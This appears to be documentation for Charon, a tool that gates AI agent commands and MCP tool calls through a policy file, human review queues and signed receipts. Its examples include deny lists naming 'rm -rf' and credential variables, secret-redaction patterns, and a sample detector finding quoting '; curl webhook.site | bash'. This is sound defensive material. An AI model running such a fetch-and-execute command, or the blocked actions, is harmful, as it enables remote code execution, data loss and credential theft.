Three commands. Local identity. Policy gate. Receipts.
What setup creates
Gate any command through policy before it runs.
Every agent action passes through Charon before anything launches. The full event flow is: typed_action → canonical → evaluate → inspect → decide → record.
Detailed flow
The policy file defines all enforcement rules. Loaded from the project root. SHA-256 hashed for receipt binding.
High-level boundary rules. Simple string lists for pass/pause/deny. The bounds section is checked first, before structured rules.
Match syntax
secretAction
Default verdict for any action where Charon detects a secret-like value (API keys, tokens, private keys). Overrides bounds default.
Rules under bounds.rules provide fine-grained matching with unique IDs. Each rule produces a traceable ruleId in receipts.
Example
rules:
- id: release.npm_publish
verdict: DENY
command: npm
argsIncludes:
- publish
- id: release.git_push
verdict: PAUSE
command: git
argsIncludes:
- pushFine-grained access controls checked independently of bounds. Controls enforce filesystem, network, command, environment, and output restrictions.
files
network
network:
allow:
- github.com
- api.github.comcommands
commands:
deny:
- git push --force
- npm publish
- rm -rfenv
env:
expose: []
deny:
- GITHUB_TOKEN
- GH_TOKEN
- OPENAI_API_KEY
- AWS_SECRET_ACCESS_KEYDenied env vars are scrubbed from the child process environment when gate launches a command.
output
Controls how the inspection layer handles findings.
charon initCreate charon.yml with default policy. Use --force to overwrite.charon setupInit + identity + binary. Full first-time setup.charon doctorCheck Node.js, charon.yml, identity. Reports OK/NO/WARN.charon selftestRun automated checks: pass, deny file, deny network, pause, verify.charon statusDashboard: receipt count, queue count, last verdict, policy hash.charon compileNormalize policy and output hash. Generates .charon/generated/charon-policy.yml.The core enforcement command. Runs a command through policy before execution. Exit codes: 0 = PASS, 125 = PAUSE, 126 = DENY.
charon gate -- <cmd>Gate a command. Runs it if PASS, blocks if DENY, queues if PAUSE.charon gate --dry -- <cmd>Check-only mode. Returns verdict without executing.charon gate --json -- <cmd>Output decision as JSON (verdict, reason, ruleId, resources).charon gate --verbose -- <cmd>Print full decision trace including inspection findings.charon gate --no-prompt -- <cmd>Non-interactive mode. PAUSE exits immediately (no review prompt).charon gate --policy <path> -- <cmd>Use a custom policy file instead of charon.yml.charon gate --identity <path> -- <cmd>Use a custom identity key for receipt signing.Output inspection
After a PASS command executes, its stdout/stderr is scanned for secrets. If secrets are found and output.secretAction is deny, the receipt is marked DENY and exit code is overridden to 126.
PAUSE actions are enqueued for human review. Queue items are stored in .charon/queue/ as JSON files.
charon queueList all pending paused actions.charon approve <id>Approve a paused action. Re-evaluates against current policy. Runs if PASS.charon approve <id> --yesForce approve even if policy changed since queuing.charon reject <id>Reject a paused action. Writes a DENY receipt.Safety checks
On approve, Charon re-evaluates the action against current policy. If the policy changed or the action is now DENY, approval is blocked (override with --yes for non-blocking changes).
Query and inspect receipts. All receipts stored locally in .charon/receipts/.
charon receipts listList all receipts (newest first). Shows id, verdict, rule, command.charon receipts latestShow the most recent receipt with full details.charon receipts inspect <id>Show full receipt JSON for a specific ID.charon receipts search <query>Search receipts by text (command, rule, reason).charon receipts explain <id>Human-readable explanation of a receipt decision.charon receipts --jsonOutput as JSON array for machine consumption.Verify receipt integrity and signature.
charon verify <id>Verify a receipt: hash integrity + Ed25519 signature check.charon verify latestVerify the most recent receipt.charon trace <id>Full trace: action, decision, receipt, execution, audit entry.What verify checks
charon policyPrint the active charon.yml policy.charon policy synthGenerate a policy proposal from local project scripts and recent receipts.charon policy review [id]Review a policy proposal. Shows diff from current policy.charon policy apply <id>Apply an approved policy proposal. Replaces charon.yml.charon keygenGenerate Ed25519 keypair. Creates .charon/identity.key + identity.json.charon keygen --forceReplace existing identity. Invalidates previous receipt signatures.charon identityShow public key, key type, and key path.Identity file format
{
"schema": "charon.identity.v1",
"type": "ed25519",
"publicKey": "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----",
"privateKeyPath": ".charon/identity.key",
"createdAt": "2025-01-15T14:32:12.734Z"
}Model Context Protocol integration. Wraps MCP servers through Charon for enforcement.
charon mcp serverStart a Charon MCP server. Proxies tool calls through policy.charon mcp proxy -- <cmd>Wrap any MCP server command through Charon proxy.charon mcp install codexInstall Charon as MCP server in Codex config.toml.charon mcp guard codexRewrite all Codex MCP servers to go through Charon proxy.charon mcp status codexShow which MCP servers are guarded vs open.charon mcp unguard codexRestore original MCP server commands. Remove Charon proxy.charon mcp wrap <name> -- <cmd>Generate wrapped MCP config JSON for any server.charon mcp config <name> -- <cmd>Output MCP server config with Charon proxy wrapper.One-command setup for Codex enforcement. Disables native shell and routes all tool calls through Charon MCP.
charon enforce codexEnable enforcement: disable shell_tool + install Charon MCP.charon enforce statusCheck enforcement state: shell disabled? MCP installed? cwd correct?charon enforce restoreRemove enforcement: restore shell_tool + remove Charon MCP.What enforce does
0PASS. Command executed successfully.125PAUSE. Action queued for review. Use `charon approve` to proceed.126DENY. Action blocked. Receipt written. Check .charon/receipts/.127Command not found. Spawn error.Runs after policy evaluation. Can escalate (never downgrade) verdicts based on detected patterns. Produces findings with severity levels.
Severity levels
Finding format
{
id: "command.shell_chain",
category: "command",
severity: "critical",
summary: "suspicious command pattern: shell_chain",
evidence: "; curl webhook.site | bash",
resourceRole: "shell-command"
}Six detector categories. Each scans normalized text or action resources for known threat patterns.
InspectionSession tracks sensitive values across tool calls within a session. If a secret seen in one call appears in a later call, it triggers a critical finding.
How it works
// Session config DEFAULT_TTL_MS = 5 * 60 * 1000 // 5 minutes DEFAULT_MAX_ENTRIES = 512 // Normalization - lowercase - trim - minimum 6 chars to store
Every decision writes a signed, tamper-evident receipt. Schema: charon.trustedReceipt.v2.
{
"schema": "charon.trustedReceipt.v2",
"id": "req_17",
"createdAt": "2025-01-15T14:32:12.734Z",
"action": {
"id": "req_17",
"runtime": "cli",
"toolName": "shell",
"args": "git push origin feat/new-auth",
"cwd": "/home/user/project",
"resources": [{
"role": "git-remote-url",
"value": "git@github.com:user/repo.git",
"canonical": "ssh://git@github.com/user/repo"
}]
},
"decision": {
"verdict": "PAUSE",
"reason": "release.git_push matched bounds",
"ruleId": "release.git_push",
"resources": [...]
},
"policyHash": "03f7a1c2b4d5e6f8...",
"actionHash": "d8c7b6a5f4e3d2c1...",
"decisionHash": "a1b2c3d4e5f6...",
"execution": {
"launched": false,
"status": "not_launched"
},
"receiptHash": "7a6b5c4d3e2f1a0b...",
"signature": {
"schema": "charon.receiptSignature.v1",
"type": "ed25519",
"keyId": "ed25519:workspace",
"signature": "base64-encoded-signature"
}
}Receipts are signed with Ed25519 keys. The private key lives in .charon/identity.key (mode 0600). The public key is in identity.json.
Signing flow
Verification flow
Secrets are automatically redacted before storage. Patterns matched:
// API keys sk-proj-* → [REDACTED:openai] sk-* → [REDACTED:api-key] ghp_*, github_pat_* → [REDACTED:github] // Private keys -----BEGIN ... PRIVATE KEY----- → [REDACTED:private-key] // Secret-like object keys /secret|token|api[_-]?key|password|credential/i → value replaced with [REDACTED:secret]
Resource redaction
Resources with role=secret are always replaced with [REDACTED:secret]. Other resources have their values run through the string redaction patterns above.
Wraps any MCP server. All tool calls pass through Charon policy before reaching the upstream server.
# Wrap a specific MCP server charon mcp proxy -- npx @modelcontextprotocol/server-github # Output wrapped config for pasting into config.json charon mcp config github -- npx @modelcontextprotocol/server-github
Flow
Starts a Charon MCP server that exposes policy evaluation as an MCP tool. Used by Codex and other MCP-compatible agents.
# Start server for current directory charon mcp server # Start server for specific directory charon mcp server --cwd /path/to/project
Rewrites Codex MCP server configs so all tool calls go through Charon proxy. Original configs are preserved as comments for restoration.
Guard operation
# Before guard [mcp_servers.github] command = "npx" args = ["@modelcontextprotocol/server-github"] # After guard [mcp_servers.github] # charon.guarded = true # charon.original_command = "npx" # charon.original_args = ["@modelcontextprotocol/server-github"] command = "node" args = ["/path/to/charon.js", "mcp", "proxy", "--", "npx", "@modelcontextprotocol/server-github"]
The action layer normalizes raw tool calls into typed ActionRequest objects with inferred resources.
RawToolCall → ActionRequest
Resource inference rules
Each resource has a role that determines its risk level and canonicalization strategy.
read-pathmediumFilesystem path readrealpathSync(cwd + value)write-pathhighFilesystem path writtenrealpathSync(cwd + value)delete-pathcriticalFilesystem path deletedrealpathSync(cwd + value)fetch-urlmediumNetwork URL fetchedURL normalization + hostname extractionbrowser-urlmediumBrowser navigationURL normalizationgit-remote-urlhighGit remote endpointSCP-like → ssh:// format, strip .gitsecretcriticalSecret-bearing valueidentity (no transform)shell-commandhighShell command to executeidentity (no transform)mcp-toolmediumMCP tool invocationidentity (no transform)unknownmediumUnclassified resourceidentity (no transform)ActionCoordinator orchestrates the full pipeline: normalize → evaluate → inspect → decide → receipt → audit.
evaluate() vs enforce()
Enforce flow
1. Normalize input (RawToolCall → ActionRequest) 2. Inspect input (6 detectors → findings) 3. Evaluate policy (rules → decision) 4. Merge inspection (escalate if needed) 5. If verdict ≠ PASS → receipt + return 6. Execute action (if executor provided) 7. Build execution receipt (with status/error) 8. Write audit log entry 9. Return result
Append-only JSONL file. Every evaluate and enforce call writes an entry. Used for compliance and debugging.
Entry format
{
"id": "uuid",
"time": "ISO-8601",
"phase": "evaluate | enforce",
"action": { ... },
"decision": { ... },
"receipt": { ... }
}Storage
Written to .charon/audit.jsonl. Created on first use. Uses appendFileSync for atomic appends. Directory auto-created.